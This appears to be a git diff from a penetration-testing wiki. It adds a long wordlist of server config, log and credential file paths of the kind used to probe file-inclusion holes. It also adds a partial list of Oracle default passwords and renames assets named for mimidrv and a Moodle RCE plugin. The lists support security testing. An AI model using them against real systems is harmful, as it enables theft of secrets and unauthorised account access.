+/Program Files\Apache Group\Apache\logs\error.log
+/Program Files/[JBOSS]/server/default/conf/jboss-minimal.xml
+/Program Files/[JBOSS]/server/default/conf/jboss-service.xml
+/Program Files/[JBOSS]/server/default/conf/jndi.properties
+/Program Files/[JBOSS]/server/default/conf/log4j.xml
+/Program Files/[JBOSS]/server/default/conf/login-config.xml
+/Program Files/[JBOSS]/server/default/conf/server.log.properties
+/Program Files/[JBOSS]/server/default/conf/standardjaws.xml
+/Program Files/[JBOSS]/server/default/conf/standardjboss.xml
+/Program Files/[JBOSS]/server/default/deploy/jboss-logging.xml
+/Program Files/[JBOSS]/server/default/log/boot.log
+/Program Files/[JBOSS]/server/default/log/server.log
+/Program Files/MySQL/data/{HOST}.err
+/Program Files/MySQL/data/mysql-bin.index
+/Program Files/MySQL/data/mysql-bin.log
+/Program Files/MySQL/data/mysql.err
+/Program Files/MySQL/data/mysql.log
+/Program Files/MySQL/my.cnf
+/Program Files/MySQL/my.ini
+/Program Files/Vidalia Bundle/Polipo/polipo.conf
+/Program Files/xampp/apache/conf/apache2.conf
+/Program Files/xampp/apache/conf/apache.conf
+/Program Files/xampp/apache/conf/httpd.conf
+/Program Files\xampp\apache\conf\httpd.conf
+/root/.bash_config
+/root/.bash_history
+/root/.bash_logout
+/root/.bashrc
+/root/.ksh_history
+/root/.Xauthority
+/srv/www/htdos/squirrelmail/config/config.php
+/tmp/access.log
+/tmp/[JBOSS]/server/default/conf/jboss-minimal.xml
+/tmp/[JBOSS]/server/default/conf/jboss-service.xml
+/tmp/[JBOSS]/server/default/conf/jndi.properties
+/tmp/[JBOSS]/server/default/conf/log4j.xml
+/tmp/[JBOSS]/server/default/conf/login-config.xml
+/tmp/[JBOSS]/server/default/conf/server.log.properties
+/tmp/[JBOSS]/server/default/conf/standardjaws.xml
+/tmp/[JBOSS]/server/default/conf/standardjboss.xml
+/tmp/[JBOSS]/server/default/deploy/jboss-logging.xml
+/tmp/[JBOSS]/server/default/log/boot.log
+/tmp/[JBOSS]/server/default/log/server.log
+/usr/apache2/conf/httpd.conf
+/usr/apache/conf/httpd.conf
+/usr/etc/pure-ftpd.conf
+/usr/home/user/lighttpd/lighttpd.conf
+/usr/home/user/var/log/apache.log
+/usr/home/user/var/log/lighttpd.error.log
+/usr/internet/pgsql/data/pg_hba.conf
+/usr/internet/pgsql/data/postmaster.log
+/usr/lib/cron/log
+/usr/lib/php.ini
+/usr/lib/php/php.ini
+/usr/lib/security/mkuser.default
+/usr/local/apache22/conf/httpd.conf
+/usr/local/apache22/httpd.conf
+/usr/local/apache2/apache2.conf
+/usr/local/apache2/apache.conf
+/usr/local/apache2/conf/apache2.conf
+/usr/local/apache2/conf/apache.conf
+/usr/local/apache2/conf/extra/httpd-ssl.conf
+/usr/local/apache2/conf/httpd.conf
+/usr/local/apache2/conf/modsec.conf
+/usr/local/apache2/conf/ssl.conf
+/usr/local/apache2/conf/vhosts.conf
+/usr/local/apache2/conf/vhosts-custom.conf
+/usr/local/apache2/httpd.conf
+/usr/local/apache2/logs/access.log
+/usr/local/apache2/logs/access_log
+/usr/local/apache2/logs/audit_log
+/usr/local/apache2/logs/error.log
+/usr/local/apache2/logs/error_log
+/usr/local/apache2/logs/lighttpd.error.log
+/usr/local/apache2/logs/lighttpd.log
+/usr/local/apache/apache2.conf
+/usr/local/apache/apache.conf
+/usr/local/apache/conf/access.conf
+/usr/local/apache/conf/apache2.conf
+/usr/local/apache/conf/apache.conf
+/usr/local/apache/conf/httpd.conf
+/usr/local/apache/conf/httpd.conf.default
+/usr/local/apache/conf/modsec.conf
+/usr/local/apache/conf/php.ini
+/usr/local/apache/conf/vhosts.conf
+/usr/local/apache/conf/vhosts-custom.conf
+/usr/local/apache/httpd.conf
+/usr/local/apache/logs/access.log
+/usr/local/apache/logs/access_log
+/usr/local/apache/logs/audit_log
+/usr/local/apache/logs/error.log
+/usr/local/apache/logs/error_log
+/usr/local/apache/logs/lighttpd.error.log
+/usr/local/apache/logs/lighttpd.log
+/usr/local/apache/logs/mod_jk.log
+/usr/local/apps/apache22/conf/httpd.conf
+/usr/local/apps/apache2/conf/httpd.conf
+/usr/local/apps/apache/conf/httpd.conf
+/usr/local/cpanel/logs
+/usr/local/cpanel/logs/access_log
+/usr/local/cpanel/logs/error_log
+/usr/local/cpanel/logs/license_log
+/usr/local/cpanel/logs/login_log
+/usr/local/cpanel/logs/stats_log
+/usr/local/etc/apache22/conf/httpd.conf
+/usr/local/etc/apache22/httpd.conf
+/usr/local/etc/apache2/conf/httpd.conf
+/usr/local/etc/apache2/httpd.conf
+/usr/local/etc/apache2/vhosts.conf
+/usr/local/etc/apache/conf/httpd.conf
+/usr/local/etc/apache/httpd.conf
+/usr/local/etc/apache/vhosts.conf
+/usr/local/etc/httpd/conf
+/usr/local/etc/httpd/conf/httpd.conf
+/usr/local/etc/lighttpd.conf
+/usr/local/etc/lighttpd.conf.new
+/usr/local/etc/nginx/nginx.conf
+/usr/local/etc/php.ini
+/usr/local/etc/pure-ftpd.conf
+/usr/local/etc/pureftpd.pdb
+/usr/local/etc/smb.conf
+/usr/local/etc/webmin/miniserv.conf
+/usr/local/etc/webmin/miniserv.users
+/usr/local/httpd/conf/httpd.conf
+/usr/local/jakarta/dist/tomcat/conf/context.xml
+/usr/local/jakarta/dist/tomcat/conf/jakarta.conf
+/usr/local/jakarta/dist/tomcat/conf/logging.properties
+/usr/local/jakarta/dist/tomcat/conf/server.xml
+/usr/local/jakarta/dist/tomcat/conf/workers.properties
+/usr/local/jakarta/dist/tomcat/logs/mod_jk.log
+/usr/local/jakarta/tomcat/conf/context.xml
+/usr/local/jakarta/tomcat/conf/jakarta.conf
+/usr/local/jakarta/tomcat/conf/logging.properties
+/usr/local/jakarta/tomcat/conf/server.xml
+/usr/local/jakarta/tomcat/conf/workers.properties
+/usr/local/jakarta/tomcat/logs/catalina.err
+/usr/local/jakarta/tomcat/logs/catalina.out
+/usr/local/jakarta/tomcat/logs/mod_jk.log
+/usr/local/[JBOSS]/server/default/conf/jboss-minimal.xml
+/usr/local/[JBOSS]/server/default/conf/jboss-service.xml
+/usr/local/[JBOSS]/server/default/conf/jndi.properties
+/usr/local/[JBOSS]/server/default/conf/log4j.xml
+/usr/local/[JBOSS]/server/default/conf/login-config.xml
+/usr/local/[JBOSS]/server/default/conf/server.log.properties
+/usr/local/[JBOSS]/server/default/conf/standardjaws.xml
+/usr/local/[JBOSS]/server/default/conf/standardjboss.xml
+/usr/local/[JBOSS]/server/default/deploy/jboss-logging.xml
+/usr/local/[JBOSS]/server/default/log/boot.log
+/usr/local/[JBOSS]/server/default/log/server.log
+/usr/local/lib/php.ini
+/usr/local/lighttpd/conf/lighttpd.conf
+/usr/local/lighttpd/log/access.log
+/usr/local/lighttpd/log/lighttpd.error.log
+/usr/local/logs/access.log
+/usr/local/logs/samba.log
+/usr/local/lsws/conf/httpd_conf.xml
+/usr/local/lsws/logs/error.log
+/usr/local/mysql/data/{HOST}.err
+/usr/local/mysql/data/mysql-bin.index
+/usr/local/mysql/data/mysql-bin.log
+/usr/local/mysql/data/mysqlderror.log
+/usr/local/mysql/data/mysql.err
+/usr/local/mysql/data/mysql.log
+/usr/local/mysql/data/mysql-slow.log
+/usr/local/nginx/conf/nginx.conf
+/usr/local/pgsql/bin/pg_passwd
+/usr/local/pgsql/data/passwd
+/usr/local/pgsql/data/pg_hba.conf
+/usr/local/pgsql/data/pg_log
+/usr/local/pgsql/data/postgresql.conf
+/usr/local/pgsql/data/postgresql.log
+/usr/local/php4/apache2.conf
+/usr/local/php4/apache2.conf.php
+/usr/local/php4/apache.conf
+/usr/local/php4/apache.conf.php
+/usr/local/php4/httpd.conf
+/usr/local/php4/httpd.conf.php
+/usr/local/php4/lib/php.ini
+/usr/local/php5/apache2.conf
+/usr/local/php5/apache2.conf.php
+/usr/local/php5/apache.conf
+/usr/local/php5/apache.conf.php
+/usr/local/php5/httpd.conf
+/usr/local/php5/httpd.conf.php
+/usr/local/php5/lib/php.ini
+/usr/local/php/apache2.conf
+/usr/local/php/apache2.conf.php
+/usr/local/php/apache.conf
+/usr/local/php/apache.conf.php
+/usr/local/php/httpd.conf
+/usr/local/php/httpd.conf.php
+/usr/local/php/lib/php.ini
+/usr/local/psa/admin/conf/php.ini
+/usr/local/psa/admin/conf/site_isolation_settings.ini
+/usr/local/psa/admin/htdocs/domains/databases/phpMyAdmin/libraries/config.default.php
+/usr/local/psa/admin/logs/httpsd_access_log
+/usr/local/psa/admin/logs/panel.log
+/usr/local/pureftpd/etc/pure-ftpd.conf
+/usr/local/pureftpd/etc/pureftpd.pdb
+/usr/local/pureftpd/sbin/pure-config.pl
+/usr/local/samba/lib/log.user
+/usr/local/samba/lib/smb.conf.user
+/usr/local/sb/config
+/usr/local/Zend/etc/php.ini
+/usr/local/zeus/web/global.cfg
+/usr/local/zeus/web/log/errors
+/usr/pkg/etc/httpd/httpd.conf
+/usr/pkg/etc/httpd/httpd-default.conf
+/usr/pkg/etc/httpd/httpd-vhosts.conf
+/usr/pkgsrc/net/pureftpd/
+/usr/pkgsrc/net/pureftpd/pure-ftpd.conf
+/usr/pkgsrc/net/pureftpd/pureftpd.passwd
+/usr/pkgsrc/net/pureftpd/pureftpd.pdb
+/usr/ports/contrib/pure-ftpd/
+/usr/ports/contrib/pure-ftpd/pure-ftpd.conf
+/usr/ports/contrib/pure-ftpd/pureftpd.passwd
+/usr/ports/contrib/pure-ftpd/pureftpd.pdb
+/usr/ports/ftp/pure-ftpd/
+/usr/ports/ftp/pure-ftpd/pure-ftpd.conf
+/usr/ports/ftp/pure-ftpd/pureftpd.passwd
+/usr/ports/ftp/pure-ftpd/pureftpd.pdb
+/usr/ports/net/pure-ftpd/
+/usr/ports/net/pure-ftpd/pure-ftpd.conf
+/usr/ports/net/pure-ftpd/pureftpd.passwd
+/usr/ports/net/pure-ftpd/pureftpd.pdb
+/usr/sbin/mudlogd
+/usr/sbin/mudpasswd
+/usr/sbin/pure-config.pl
+/usr/share/adduser/adduser.conf
+/usr/share/logs/catalina.err
+/usr/share/logs/catalina.out
+/usr/share/squirrelmail/config/config.php
+/usr/share/squirrelmail/plugins/squirrel_logger/setup.php
+/usr/share/tomcat6/conf/context.xml
+/usr/share/tomcat6/conf/logging.properties
+/usr/share/tomcat6/conf/server.xml
+/usr/share/tomcat6/conf/workers.properties
+/usr/share/tomcat6/logs/catalina.err
+/usr/share/tomcat6/logs/catalina.out
+/usr/share/tomcat/logs/catalina.err
+/usr/share/tomcat/logs/catalina.out
+/usr/spool/lp/log
+/usr/spool/mqueue/syslog
+/var/adm/acct/sum/loginlog
+/var/adm/aculog
+/var/adm/aculogs
+/var/adm/crash/unix
+/var/adm/crash/vmcore
+/var/adm/cron/log
+/var/adm/dtmp
+/var/adm/lastlog/username
+/var/adm/log/asppp.log
+/var/adm/loginlog
+/var/adm/log/xferlog
+/var/adm/lp/lpd-errs
+/var/adm/messages
+/var/adm/pacct
+/var/adm/qacct
+/var/adm/ras/bootlog
+/var/adm/ras/errlog
+/var/adm/sulog
+/var/adm/SYSLOG
+/var/adm/utmp
+/var/adm/utmpx
+/var/adm/vold.log
+/var/adm/wtmp
+/var/adm/wtmpx
+/var/adm/X0msgs
+/var/apache/conf/httpd.conf
+/var/cpanel/cpanel.config
+/var/cpanel/tomcat.options
+/var/cron/log
+/var/data/mysql-bin.index
+/var/lib/mysql/my.cnf
+/var/lib/pgsql/data/postgresql.conf
+/var/lib/squirrelmail/prefs/squirrelmail.log
+/var/lighttpd.log
+/var/local/www/conf/php.ini
+/var/log/access.log
+/var/log/access_log
+/var/log/apache2/access.log
+/var/log/apache2/access_log
+/var/log/apache2/error.log
+/var/log/apache2/error_log
+/var/log/apache2/squirrelmail.err.log
+/var/log/apache2/squirrelmail.log
+/var/log/apache/access.log
+/var/log/apache/access_log
+/var/log/apache/error.log
+/var/log/apache/error_log
+/var/log/auth.log
+/var/log/authlog
+/var/log/boot.log
+/var/log/cron/var/log/postgres.log
+/var/log/daemon.log
+/var/log/daemon.log.1
+/var/log/data/mysql-bin.index
+/var/log/dmessage
+/var/log/error.log
+/var/log/error_log
+/var/log/exim/mainlog
+/var/log/exim_mainlog
+/var/log/exim/paniclog
+/var/log/exim_paniclog
+/var/log/exim/rejectlog
+/var/log/exim_rejectlog
+/var/log/ftplog
+/var/log/ftp-proxy
+/var/log/ftp-proxy/ftp-proxy.log
+/var/log/httpd-access.log
+/var/log/httpd/access.log
+/var/log/httpd/access_log
+/var/log/httpd/error.log
+/var/log/httpd/error_log
+/var/log/ipfw
+/var/log/ipfw/ipfw.log
+/var/log/ipfw.log
+/var/log/ipfw.today
+/var/log/kern.log
+/var/log/kern.log.1
+/var/log/lighttpd/
+/var/log/lighttpd.access.log
+/var/log/lighttpd/access.log
+/var/log/lighttpd/access.www.log
+/var/log/lighttpd/{DOMAIN}/access.log
+/var/log/lighttpd/{DOMAIN}/error.log
+/var/log/lighttpd.error.log
+/var/log/lighttpd/error.log
+/var/log/lighttpd/error.www.log
+/var/log/log.smb
+/var/log/mail.err
+/var/log/mail.info
+/var/log/mail.log
+/var/log/maillog
+/var/log/mail.warn
+/var/log/messages
+/var/log/messages.1
+/var/log/muddleftpd
+/var/log/muddleftpd.conf
+/var/log/mysql-bin.index
+/var/log/mysql/data/mysql-bin.index
+/var/log/mysqlderror.log
+/var/log/mysql.err
+/var/log/mysql.log
+/var/log/mysql/mysql-bin.index
+/var/log/mysql/mysql-bin.log
+/var/log/mysql/mysql.log
+/var/log/mysql/mysql-slow.log
+/var/log/news.all
+/var/log/news/news.all
+/var/log/news/news.crit
+/var/log/news/news.err
+/var/log/news/news.notice
+/var/log/news/suck.err
+/var/log/news/suck.notice
+/var/log/nginx.access_log
+/var/log/nginx/access.log
+/var/log/nginx/access_log
+/var/log/nginx.error_log
+/var/log/nginx/error.log
+/var/log/nginx/error_log
+/var/log/pgsql8.log
+/var/log/pgsql_log
+/var/log/pgsql/pgsql.log
+/var/log/pm-powersave.log
+/var/log/POPlog
+/var/log/postgres/pg_backup.log
+/var/log/postgres/postgres.log
+/var/log/postgresql.log
+/var/log/postgresql/main.log
+/var/log/postgresql/postgres.log
+/var/log/postgresql/postgresql-8.1-main.log
+/var/log/postgresql/postgresql-8.3-main.log
+/var/log/postgresql/postgresql-8.4-main.log
+/var/log/postgresql/postgresql-9.0-main.log
+/var/log/postgresql/postgresql-9.1-main.log
+/var/log/postgresql/postgresql.log
+/var/log/proftpd
+/var/log/proftpd.access_log
+/var/log/proftpd.xferlog
+/var/log/proftpd/xferlog.legacy
+/var/log/pureftpd.log
+/var/log/pure-ftpd/pure-ftpd.log
+/var/logs/access.log
+/var/log/samba.log
+/var/log/samba.log1
+/var/log/samba.log2
+/var/log/samba/log.nmbd
+/var/log/samba/log.smbd
+/var/log/squirrelmail.log
+/var/log/sso/sso.log
+/var/log/sw-cp-server/error_log
+/var/log/syslog
+/var/log/syslog.1
+/var/log/tomcat6/catalina.out
+/var/log/ufw.log
+/var/log/user.log
+/var/log/user.log.1
+/var/log/vmware/hostd-1.log
+/var/log/vmware/hostd.log
+/var/log/vsftpd.log
+/var/log/webmin/miniserv.log
+/var/log/xferlog
+/var/log/Xorg.0.log
+/var/lp/logs/lpNet
+/var/lp/logs/lpsched
+/var/lp/logs/requests
+/var/mail/root
+/var/mysql-bin.index
+/var/mysql.log
+/var/nm2/postgresql.conf
+/var/postgresql/db/postgresql.conf
+/var/postgresql/log/postgresql.log
+/var/saf/_log
+/var/saf/port/log
+/var/spool/cron/crontabs/root
+/var/spool/cron/crontabs/root
+/var/www/conf
+/var/www/conf/httpd.conf
+/var/www/html/squirrelmail/config/config.php
+/var/www/.lighttpdpassword
+/var/www/logs/access.log
+/var/www/logs/access_log
+/var/www/logs/error.log
+/var/www/logs/error_log
+/var/www/squirrelmail/config/config.php
+/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
+/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
+/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
+/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
+/Volumes/webBackup/opt/apache2/conf/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf.default
+/wamp/bin/apache/apache2.2.21/conf/httpd.conf
+/wamp/bin/apache/apache2.2.21/logs/access.log
+/wamp/bin/apache/apache2.2.21/logs/error.log
+/wamp/bin/apache/apache2.2.21/wampserver.conf
+/wamp/bin/apache/apache2.2.22/conf/httpd.conf
+/wamp/bin/apache/apache2.2.22/conf/wampserver.conf
+/wamp/bin/apache/apache2.2.22/logs/access.log
+/wamp/bin/apache/apache2.2.22/logs/error.log
+/wamp/bin/apache/apache2.2.22/wampserver.conf
+/wamp/bin/mysql/mysql5.5.16/data/mysql-bin.index
+/wamp/bin/mysql/mysql5.5.16/my.ini
+/wamp/bin/mysql/mysql5.5.16/wampserver.conf
+/wamp/bin/mysql/mysql5.5.24/data/mysql-bin.index
+/wamp/bin/mysql/mysql5.5.24/my.ini
+/wamp/bin/mysql/mysql5.5.24/wampserver.conf
+/wamp/logs/access.log
+/wamp/logs/apache_error.log
+/wamp/logs/genquery.log
+/wamp/logs/mysql.log
+/wamp/logs/slowquery.log
+/web/conf/php.ini
+/WINDOWS/php.ini
+/WINDOWS\php.ini
+/WINDOWS/system32/logfiles/MSFTPSVC
+/WINDOWS/system32/logfiles/MSFTPSVC1
+/WINDOWS/system32/logfiles/MSFTPSVC2
+/WINDOWS/system32/logfiles/SMTPSVC
+/WINDOWS/system32/logfiles/SMTPSVC1
+/WINDOWS/system32/logfiles/SMTPSVC2
+/WINDOWS/system32/logfiles/SMTPSVC3
+/WINDOWS/system32/logfiles/SMTPSVC4
+/WINDOWS/system32/logfiles/SMTPSVC5
+/WINDOWS/system32/logfiles/W3SVC1/inetsvn1.log
+/WINDOWS/system32/logfiles/W3SVC2/inetsvn1.log
+/WINDOWS/system32/logfiles/W3SVC3/inetsvn1.log
+/WINDOWS/system32/logfiles/W3SVC/inetsvn1.log
+/WINNT/php.ini
+/WINNT\php.ini
+/WINNT/system32/logfiles/MSFTPSVC
+/WINNT/system32/logfiles/MSFTPSVC1
+/WINNT/system32/logfiles/MSFTPSVC2
+/WINNT/system32/logfiles/SMTPSVC
+/WINNT/system32/logfiles/SMTPSVC1
+/WINNT/system32/logfiles/SMTPSVC2
+/WINNT/system32/logfiles/SMTPSVC3
+/WINNT/system32/logfiles/SMTPSVC4
+/WINNT/system32/logfiles/SMTPSVC5
+/WINNT/system32/logfiles/W3SVC1/inetsvn1.log
+/WINNT/system32/logfiles/W3SVC2/inetsvn1.log
+/WINNT/system32/logfiles/W3SVC3/inetsvn1.log
+/WINNT/system32/logfiles/W3SVC/inetsvn1.log
+/www/apache/conf/httpd.conf
+/www/conf/httpd.conf
+/www/logs/freebsddiary-access_log
+/www/logs/freebsddiary-error.log
+/www/logs/proftpd.system.log
+/xampp/apache/bin/php.ini
+/xampp\apache\bin\php.ini
+/xampp/apache/conf/httpd.conf
+/xampp/apache/logs/access.log
+/xampp/apache/logs/error.log
+/xampp/FileZillaFTP/FileZilla Server.xml
+/xampp/htdocs/aca.txt
+/xampp/htdocs/admin.php
+/xampp/htdocs/leer.txt
+/xampp/MercuryMail/mercury.ini
+/xampp/mysql/data/{HOST}.err
+/xampp/mysql/data/mysql-bin.index
+/xampp/mysql/data/mysql.err
+/xampp/phpMyAdmin/config.inc.php
+/xampp/php/php.ini
+/xampp/sendmail/sendmail.ini
+/xampp/sendmail/sendmail.log
+/xampp/webalizer/webalizer.conf
+/proc/self/fd/0
+/proc/self/fd/1
+/proc/self/fd/2
+/proc/self/fd/3
+/proc/self/fd/4
+/proc/self/fd/5
+/proc/self/fd/6
+/proc/self/fd/7
+/proc/self/fd/8
+/proc/self/fd/9
+/proc/self/fd/10
+/proc/self/fd/11
+/proc/self/fd/12
+/proc/self/fd/13
+/proc/self/fd/14
+/proc/self/fd/15
+/proc/self/fd/16
+/proc/self/fd/17
+/proc/self/fd/18
+/proc/self/fd/19
+/proc/self/fd/20
+/proc/self/fd/21
+/proc/self/fd/22
+/proc/self/fd/23
+/proc/self/fd/24
+/proc/self/fd/25
+/proc/self/fd/26
+/proc/self/fd/27
+/proc/self/fd/28
+/proc/self/fd/29
+/proc/self/fd/30
+/proc/self/fd/31
+/proc/self/fd/32
+/proc/self/fd/33
+/proc/self/fd/34
+/proc/self/fd/35
+/proc/self/fd/36
+/proc/self/fd/37
+/proc/self/fd/38
+/proc/self/fd/39
+/proc/self/fd/40
+/proc/self/fd/41
+/proc/self/fd/42
+/proc/self/fd/43
+/proc/self/fd/44
+/proc/self/fd/45
+/proc/self/fd/46
+/proc/self/fd/47
+/proc/self/fd/48
+/proc/self/fd/49
+/proc/self/fd/50
+/proc/self/fd/51
+/proc/self/fd/52
+/proc/self/fd/53
+/proc/self/fd/54
+/proc/self/fd/55
+/proc/self/fd/56
+/proc/self/fd/57
+/proc/self/fd/58
+/proc/self/fd/59
+/proc/self/fd/60
+/proc/self/fd/61
+/proc/self/fd/62
+/proc/self/fd/63
+/proc/self/fd/64
+/proc/self/fd/65
+/proc/self/fd/66
+/proc/self/fd/67
+/proc/self/fd/68
+/proc/self/fd/69
+/proc/self/fd/70
+/proc/self/fd/71
+/proc/self/fd/72
+/proc/self/fd/73
+/proc/self/fd/74
+/proc/self/fd/75
+/proc/self/fd/76
+/proc/self/fd/77
+/proc/self/fd/78
+/proc/self/fd/79
+/proc/self/fd/80
+/proc/self/fd/81
+/proc/self/fd/82
+/proc/self/fd/83
+/proc/self/fd/84
+/proc/self/fd/85
+/proc/self/fd/86
+/proc/self/fd/87
+/proc/self/fd/88
+/proc/self/fd/89
+/proc/self/fd/90
+/proc/self/fd/91
+/proc/self/fd/92
+/proc/self/fd/93
+/proc/self/fd/94
+/proc/self/fd/95
+/proc/self/fd/96
+/proc/self/fd/97
+/proc/self/fd/98
+/proc/self/fd/99
+/proc/self/fd/100
diff --git a/src/images/mimidrv.png b/.gitbook/assets/mimidrv.png
similarity index 100%
rename from src/images/mimidrv.png
rename to .gitbook/assets/mimidrv.png
diff --git a/src/files/moodle-rce-plugin.zip b/.gitbook/assets/moodle-rce-plugin.zip
similarity index 100%
rename from src/files/moodle-rce-plugin.zip
rename to .gitbook/assets/moodle-rce-plugin.zip
diff --git a/.gitbook/assets/pass-oracle.txt b/.gitbook/assets/pass-oracle.txt
new file mode 100644
index 00000000000..5c42de326e1
--- /dev/null
+++ b/.gitbook/assets/pass-oracle.txt
@@ -0,0 +1,1402 @@
+06071992
+0racl3
+0RACL3
+0racl38
+0RACL38
+0racl38i
+0RACL38I
+0racl39
+0RACL39
+0racl39i
+0RACL39I
+0racle
+0RACLE
+0racle8
+0RACLE8
+0racle8i
+0RACLE8I
+0racle9
+0RACLE9
+0racle9i
+0RACLE9I
+199220706
+AASH
+ABA1
+abm
+ABM
+adgangskode
+ADGANGSKODE
+adldemo
+ADLDEMO
+admin
+ADMIN
+administrator
+ADMINISTRATOR
+ADS
+ahl
+AHL
+ahm
+AHM
+airoplane
+AIROPLANE
+ak
+AK
+akf7d98s2
+AKF7D98S2
+AL
+ALA1
+ALLUSERS
+alr
+ALR
+AMA1
+AMA2
+AMA3
+AMA4
+AMF
+ams
+AMS
+AMS1
+AMS2
+AMS3
+AMS4
+AMSYS
+amv
+AMV
+AMW
+ANNE
+anonymous
+ANONYMOUS
+AOLDEMO
+ap
+AP
+APA1
+APA2
+APA3
+APA4
+APPLEAD
+applmgr
+APPLMGR
+applsys
+APPLSYS
+applsyspub
+APPLSYSPUB
+apppassword
+APPPASSWORD
+apps
+APPS
+APS1
+APS2
+APS3
+APS4
+aq
+AQ
+aqdemo
+AQDEMO
+aqjava
+AQJAVA
+aquser
+AQUSER
+ar
+AR
+ARA1
+ARA2
+ARA3
+ARA4
+ARS1
+ARS2
+ARS3
+ARS4
+ART
+asf
+ASF
+asg
+ASG
+asl
+ASL
+ASN
+aso
+ASO
+asp
+ASP
+ast
+AST
+AUC_GUEST
+audiouser
+AUDIOUSER
+AUTHORIA
+ax
+AX
+az
+AZ
+B2B
+BAM
+bar
+BAR
+bc4j
+BC4J
+BCA1
+BCA2
+ben
+BEN
+bic
+BIC
+bil
+BIL
+bim
+BIM
+bis
+BIS
+biv
+BIV
+bix
+BIX
+blewis
+BLEWIS
+BMEADOWS
+BNE
+bom
+BOM
+BP01
+BP02
+BP03
+BP04
+BP05
+BP06
+brio_admin
+BRIO_ADMIN
+bsc
+BSC
+bug_reports
+BUG_REPORTS
+BUYACCT
+BUYAPPR1
+BUYAPPR2
+BUYAPPR3
+BUYER
+BUYMTCH
+CAMRON
+CANDICE
+CARL
+CARLY
+CARMEN
+CARRIECONYERS
+CATADMIN
+catalog
+CATALOG
+cct
+CCT
+cdemo82
+CDEMO82
+cdemo83
+CDEMO83
+cdemocor
+CDEMOCOR
+cdemorid
+CDEMORID
+cdemoucb
+CDEMOUCB
+cdouglas
+CDOUGLAS
+ce
+CE
+CEASAR
+centra
+CENTRA
+central
+CENTRAL
+CFD
+CHANDRA
+change_on_install
+CHANGE_ON_INSTALL
+CHARLEY
+CHRISBAKER
+CHRISTIE
+cids
+CIDS
+CINDY
+cis
+CIS
+cisinfo
+CISINFO
+CLARK
+CLAUDE
+clave
+CLAVE
+clerk
+CLERK
+CLINT
+CLN
+cloth
+CLOTH
+cn
+CN
+CNCADMIN
+company
+COMPANY
+compiere
+COMPIERE
+CONNIE
+CONNOR
+CORY
+CRM1
+CRM2
+crp
+CRP
+CRPB733
+CRPCTL
+CRPDTA
+cs
+CS
+CSADMIN
+CSAPPR1
+csc
+CSC
+csd
+CSD
+CSDUMMY
+cse
+CSE
+csf
+CSF
+csi
+CSI
+csl
+CSL
+CSM
+csmig
+CSMIG
+csp
+CSP
+csr
+CSR
+css
+CSS
+ctxdemo
+CTXDEMO
+ctxsys
+CTXSYS
+CTXTEST
+cua
+CUA
+cue
+CUE
+cuf
+CUF
+cug
+CUG
+cui
+CUI
+cun
+CUN
+cup
+CUP
+cus
+CUS
+cz
+CZ
+DAVIDMORGAN
+dbsnmp
+DBSNMP
+dbvision
+DBVISION
+DCM
+DD7333
+DD7334
+DD810
+DD811
+DD812
+DD9
+DDB733
+DDD
+demo
+DEMO
+demo8
+DEMO8
+demo9
+DEMO9
+des
+DES
+des2k
+DES2K
+dev2000_demos
+DEV2000_DEMOS
+DEVB733
+DEVUSER
+dip
+DIP
+DISCOVERER5
+discoverer_admin
+DISCOVERER_ADMIN
+DKING
+DLD
+DMATS
+DMS
+dmsys
+DMSYS
+DOM
+dpfpass
+DPFPASS
+DPOND
+dsgateway
+DSGATEWAY
+dssys
+DSSYS
+d_syspw
+D_SYSPW
+d_systpw
+D_SYSTPW
+dtsp
+DTSP
+DV7333
+DV7334
+DV810
+DV811
+DV812
+DV9
+DVP1
+eaa
+EAA
+eam
+EAM
+east
+EAST
+ec
+EC
+ecx
+ECX
+EDR
+EDWEUL_US
+EDWREP
+EGC1
+EGD1
+EGM1
+EGO
+EGR1
+ejb
+EJB
+ejsadmin
+EJSADMIN
+ejsadmin_password
+EJSADMIN_PASSWORD
+emp
+EMP
+END1
+eng
+ENG
+eni
+ENI
+ENM1
+ENS1
+ENTMGR_CUST
+ENTMGR_PRO
+ENTMGR_TRAIN
+EOPP_PORTALADM
+EOPP_PORTALMGR
+EOPP_USER
+estore
+ESTORE
+EUL_US
+event
+EVENT
+evm
+EVM
+EXA1
+EXA2
+EXA3
+EXA4
+example
+EXAMPLE
+exfsys
+EXFSYS
+EXS1
+EXS2
+EXS3
+EXS4
+extdemo
+EXTDEMO
+extdemo2
+EXTDEMO2
+fa
+FA
+fem
+FEM
+FIA1
+fii
+FII
+finance
+FINANCE
+finprod
+FINPROD
+flm
+FLM
+fnd
+FND
+fndpub
+FNDPUB
+FNI1
+FNI2
+FPA
+fpt
+FPT
+frm
+FRM
+FTA1
+fte
+FTE
+FUN
+fv
+FV
+FVP1
+GALLEN
+GCA1
+GCA2
+GCA3
+GCA9
+GCMGR1
+GCMGR2
+GCMGR3
+GCS
+GCS1
+GCS2
+GCS3
+GEORGIAWINE
+gl
+GL
+GLA1
+GLA2
+GLA3
+GLA4
+GLS1
+GLS2
+GLS3
+GLS4
+gma
+GMA
+GM_AWDA
+GM_COPI
+gmd
+GMD
+GM_DPHD
+gme
+GME
+gmf
+GMF
+gmi
+GMI
+gml
+GML
+GM_MLCT
+gmp
+GMP
+GM_PLADMA
+GM_PLADMH
+GM_PLCCA
+GM_PLCCH
+GM_PLCOMA
+GM_PLCOMH
+GM_PLCONA
+GM_PLCONH
+GM_PLNSCA
+GM_PLNSCH
+GM_PLSCTA
+GM_PLSCTH
+GM_PLVET
+gms
+GMS
+GM_SPO
+GM_STKH
+gpfd
+GPFD
+gpld
+GPLD
+gr
+GR
+GUEST
+hades
+HADES
+HCC
+hcpark
+HCPARK
+HHCFO
+hlw
+HLW
+hobbes
+HOBBES
+hr
+HR
+hri
+HRI
+hvst
+HVST
+hxc
+HXC
+hxt
+HXT
+IA
+iba
+IBA
+IBC
+ibe
+IBE
+ibp
+IBP
+ibu
+IBU
+iby
+IBY
+icdbown
+ICDBOWN
+icx
+ICX
+idemo_user
+IDEMO_USER
+ieb
+IEB
+iec
+IEC
+iem
+IEM
+ieo
+IEO
+ies
+IES
+ieu
+IEU
+iex
+IEX
+ifssys
+IFSSYS
